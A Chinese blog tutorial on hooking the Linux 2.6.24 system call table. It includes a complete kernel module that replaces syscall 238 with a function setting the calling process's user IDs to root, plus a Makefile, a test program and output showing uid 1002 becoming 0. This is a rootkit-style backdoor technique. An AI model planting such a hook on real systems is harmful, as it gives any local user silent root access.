Hacking the Kernel - 修改系统调用表

昨天硬是没找到正确的sys_call_table的地址,原来我之前在虚拟机上装的ArchLinux是64位的。。
今天在真机上成功地修改了系统调用表。
测试环境:ArchLinux 2.6.24

1. 2.4.20以后的内核出于安全考虑,没有导出sys_call_table符号,所以要先通过System.map找到sys_call_table的地址
$ cat /boot/System.map26 | grep sys_call_table
c0375680 R sys_call_table
另外也可以用nm工具获得vmlinux中的所有符号
$ nm /usr/src/linux-2.6.24-ARCH/vmlinux | grep sys_call_table
结果一样

2. 以添加一个把uid改成root(0)为例,写一个内核模块:
addcall.c

#include <linux/kernel.h>
#include 
<linux/module.h>
#include 
<linux/init.h>
#include 
<linux/unistd.h>
#include 
<linux/time.h>
#include 
<asm/uaccess.h>
#include 
<linux/sched.h>

#define __NR_changeuid 238

MODULE_DESCRIPTION(
"Change uid to 0");
MODULE_AUTHOR(
"ZelluX");

static int (*saved) (void);

void ** sys_call_table = 0xc0375680;

asmlinkage 
int sys_changeuid(void)
{
    current
->uid = current->euid = current->suid = current->fsuid = 0;
    printk(KERN_ALERT 
"uid has been changed.");
    
return 0;
}


int __init init_addsyscall(void)
{
    saved 
= (int (*) (void)) (sys_call_table[__NR_changeuid]);
    sys_call_table[__NR_changeuid] 
= (unsigned long) sys_changeuid;
    printk(KERN_ALERT 
"the call has been added.");
    
return 0;
}


void __exit exit_addsyscall(void)
{
    sys_call_table[__NR_changeuid] 
= (unsigned long) saved;
    printk(KERN_ALERT 
"the call has been removed");
}


module_init(init_addsyscall);
module_exit(exit_addsyscall);

对应的Makefile:

ifneq ($(KERNELRELEASE),)
    obj-m :
= addcall.o
else
    KERNELDIR ?
= /lib/modules/$(shell uname -r)/build
    PWD  :
= $(shell pwd)

default:
        $(MAKE) -C $(KERNELDIR) M
=$(PWD) modules
endif

3. 使用insmod addcall.ko载入模块后,用dmesg可以看到the call has been added.
4. 测试程序
test.c

#include <linux/unistd.h>
#include 
<stdio.h>

#define __NR_changeuid 238

int main()
{
    printf(
"Previous uid = %d\n", syscall(__NR_getuid));
    syscall(__NR_changeuid);
    printf(
"Current uid = %d\n", syscall(__NR_getuid));
    
return 0;
}


使用gcc -o test test.c编译

5. 运行./test,即可看到类似的成功信息:
Previous uid = 1002
Current uid = 0

6. 卸载模块rmmod addcall,此时再次运行./test就会失败

你可能感兴趣的:(Hacking the Kernel - 修改系统调用表)